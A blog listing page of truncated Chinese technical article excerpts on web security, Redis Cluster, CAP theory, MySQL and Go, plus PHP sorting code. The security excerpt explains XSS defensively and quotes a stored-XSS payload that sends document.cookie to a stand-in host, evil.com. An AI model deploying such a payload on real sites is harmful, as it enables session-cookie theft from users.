网络安全基础(XSS / CSRF / SQL 注入 / SSRF)
一句话 Web 安全 80% 的事故,集中在 4 类攻击:XSS(注入脚本)、CSRF(借你身份发请求)、SQL 注入(拼 SQL)、SSRF(让你服务器替它发请求)。 一、XSS(跨站脚本攻击)原理:把 <script> 注入到网页里,用户访问时浏览器执行。 三种类型 类型 来源 例子 存储型 攻击者把脚本存进数据库 评论区写 <script>fetch('//evil.com?c='+document.cookie)</script> 反射型 脚本在 URL 参数里 ?q=<script>...</script> 服务端原样回显 DOM 型 前端直接 innerHTML 用户输入 el.innerHTML = location.hash 防御123456789// ✅ 服务端转义echo htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');// ✅ HTTP Headerheader(&quo...
Redis Cluster 原理探讨
Redis Cluster hash(key) % 16384 = slot 哈希槽 = hash(key) & 2^n^ slot - hash槽分布范围[0-5460] 、 [5461-10922]、[10923-16383] 12345678910111213141516171819202122232425# 创建RedisCluster配置的节点目录[root@redis]$ mkdir -p rediscluster/node800{1,2,3,4,5,6}# 复制Redis配置到每个节点目录[root@redis]$ cp redis-5.0.2/redis.conf rediscluster/node8001/# 修改节点配置[root@redis]$ vim rediscluster/node8001/redis.conf# 批量修改:%s/8001/8002/g# 启动集群配置[root@redis]$ redis-server rediscluster/800*/redis.conf# 校验启动情况[r...
分布式之 CAP 与 BASE
一句话 分布式系统里,C / A / P 三者最多只能满足两个。又因为网络分区一定会发生(P 不可避免),所以现实中你只能在 CP 与 AP 之间二选一。 CAP 三个字母 字母 含义 通俗理解 Consistency 一致性 任何时候读到的数据都是最新写入的 Availability 可用性 每次请求都能在合理时间内返回响应(不超时、不报错) Partition tolerance 分区容错性 节点之间网络断开/丢包时,系统仍能继续工作 为什么必选 P只要是「分布式」系统,节点之间靠网络通讯,就一定会遇到丢包、延迟、机房断网。P 不是一个选项,是事实。所以真正在选的,是 CP 还是 AP: CP:网络分区时,宁可拒绝服务也要保证强一致 → ZooKeeper、etcd、HBase AP:网络分区时,宁可返回旧数据也要保证可用 → Cassandra、Eureka、DNS 一个具体例子主从两节点 MySQL,主从间网络断了: CP 派:从库直接拒绝读请求(避免读到旧数据)→ 一致但不可用 AP 派:从库继续返回旧数据 →...
MySQL事务
事务概念 4个原则 ACID 原则 概念 原子性 一个事务中的操作要么全部成功,要么全部失败 Atomicity 一致性 总是从一个一致性的状态转换到另一个一致性的状态 Consistent 隔离性 一个事务的修改在提交前,其他事务是感知不到的 Isalotion 持久性 永久保存在数据库中 Durable 原子性、隔离性、持久性都是为了保障一致性而存在的,一致性也是最终的目的。 隔离级别 读未提交 READ UNCOMMITTED 读已提交 READ COMMITTED 可重复读 REPEATABLE READ 可序列化 SERIALIZABLE 没有那种隔离级别是完美的,只能根据自己的项目业务场景去评估选择最适合的隔离级别,大部分的公司一般选择Mysql默认的隔离级别:可重复读。 隔离级别从:读未提交-读提交-可重复读-串行化,级别越来越高,隔离也就越来越严实,到最后的串行化,当出现读写锁冲突的时候,后面的事务只能等前面的事务完成后才能继续访问。 读未提交:读取到别的事务还没有提交的数据,从而产生了脏读。 读提交:...
MySQL存储引擎
InnoDB和MyISAM的区别 (1)InnoDB和MyISAM都是Mysql的存储引擎,现在MyISAM也逐渐被InnoDB给替代,主要因为InnoDB支持事务和行级锁,MyISAM不支持事务和行级锁,MyISAM最小锁单位是表级。因为MyISAM不支持行级锁,所以在并发处理能力上InnoDB会比MyISAM好。 (2) 数据的存储上:MyISAM的索引也是由B+树构成,但是树的叶子结点存的是行数据的地址,查找时需要找到叶子结点的地址,再根据叶子结点地址查找数据。 InnoDB的主键索引的叶子结点直接就是存储行数据,查找主键索引树就能获得数据: 若是根据非主键索引查找,非主键索引的叶子结点存储的就是,当前索引值以及对应的主键的值,若是联合索引存储的就是联合索引值和对应的主键值。 (3)数据文件构成:MyISAM有三种存储文件分别是扩展名为:.frm(文件存储表定义)、.MYD (MYData数据文件)、.MYI (MYIndex索引文件)。而InnoDB的表只受限于操作系统文件的大小,一般是2GB (4)查询区别:对于读多写少的业务场景,MyISAM会更加适合,而对...
性能优化方案
数据量比较大,批量操作数据入库 耗时操作考虑异步处理 恰当使用缓存 优化程序逻辑、代码 SQL优化 压缩传输内容 考虑使用文件/MQ等其他方式暂存,异步再落地DB 跟产品讨论需求最恰当,最舒服的实现方式 本文会提到52条SQL语句性能优化策略。 1、对查询进行优化,应尽量避免全表扫描,首先应考虑在where及order by涉及的列上建立索引。 2、应尽量避免在where子句中对字段进行null值判断,创建表时NULL是默认值,但大多数时候应该使用NOT NULL,或者使用一个特殊的值,如0,-1作为默认值。 3、应尽量避免在where子句中使用!=或<>操作符,MySQL只有对以下操作符才使用索引:<,<=,=,>,>=,BETWEEN,IN,以及某些时候的LIKE。 4、应尽量避免在where子句中使用or来连接条件,否则将导致引擎放弃使用索引而进行全表扫描,可以使用UNION合并查询:select id from t where num=10 union all select...
MySQL三范式
数据库三范式 第一范式:1NF是对属性的原子性约束,要求属性具有原子性,不可再分解; 第二范式:2NF是对记录的唯一性约束,要求记录有唯一标识,即实体的唯一性; 第三范式:3NF是对字段冗余性的约束,即任何字段不能由其他字段派生出来,它要求字段没有冗余。 范式化 优点:可以尽量的减少数据冗余,使得更新快,体积小 缺点:对于查询需要多个表进行关联,减少写的效率增加读的效率,更难进行索引优化 反范式化 优点:可以减少表的关联,可以更好的进行索引优化 缺点:数据冗余以及数据异常,数据的修改需要更多的成本 归纳 方式 第一范式 第二范式 第三范式 约束 原子性 唯一性 冗余性 优点 更新快 体积小 减少数据冗余 缺点 对于查询需要多个表进行关联 减少写的效率增加读的效率 更难进行索引优化 (反)优点 可以减少表的关联 可以更好的进行索引优化 - (反)缺点 数据冗余以及数据异常 数据的修改需要更多的成本 -
Go
一、为什么是 GoGo 由 Rob Pike、Ken Thompson 等人在 Google 设计,2009 年开源。诞生背景:C++ 编译慢、Java 启动慢、Python 性能差,Google 内部需要一门”既能写系统又能写服务”的语言。 它做对了几件事: 极简语法:关键字只有 25 个,几小时上手 原生并发:go func() 一行起协程,channel 解决通信 静态编译 + 单二进制:部署只丢一个文件,不带运行时依赖 GC 但够快:低延迟 GC(< 1ms STW) 强大的标准库:HTTP / JSON / 加密 / 模板全自带 代价:泛型直到 1.18 才有,错误处理啰嗦(if err != nil 满屏),没有继承。 适合:网络服务、CLI 工具、云基础设施、并发处理。不适合:CPU 密集科学计算(不如 C++/Rust)、桌面 GUI(生态弱)。 二、Hello World1234567package mainimport "fmt"func main() { fmt.Pr...
冒泡排序
在要排序的一组数中,对当前还未排好的序列, 从前往后对相邻的两个数依次进行比较和调整,让较大的数往下沉,较小的往上冒。 即,每当两相邻的数比较后发现它们的排序与排序要求相反时,就将它们互换。 12345678910111213141516171819202122232425$arr = [1, 43, 54, 62, 21, 66, 32, 78, 36, 76, 39];function bubble_sort($arr){ $len = count($arr); //该层循环控制 需要冒泡的轮数 for($i = 0; $i < $len - 1; $i++) { //该层循环用来控制每轮 冒出一个数 需要比较的次数 for($k = 0; $k < $len- $i - 1; $k++) { // 下一个键 $nk = $k + 1; // 如果当前值比下一个值大 if($arr[$k] > $arr[$nk]) { // 把下一个值先存起来 ...
快速排序
选择一个基准元素,通常选择第一个元素或者最后一个元素。 通过一趟扫描,将待排序列分成两部分, 一部分比基准元素小,一部分大于等于基准元素。 此时基准元素在其排好序后的正确位置, 然后再用同样的方法递归地排序划分的两部分。 12345678910111213141516171819202122232425262728293031323334$arr = [1, 43, 54, 62, 21, 66, 32, 78, 36, 76, 39];function quick_sort($arr){ $len = count($arr); // 先判断是否需要继续进行 if($len <= 1) { return $arr; } // 选择第一个元素作为基准 $baseNum = $arr[0]; // 遍历除了标尺外的所有元素,按照大小关系放入两个数组内 // 初始化比基准值小和大的俩个数组: $leftArray = $rightArray = []; // 开始从第二个值开始比较 for ($i = 1; $...




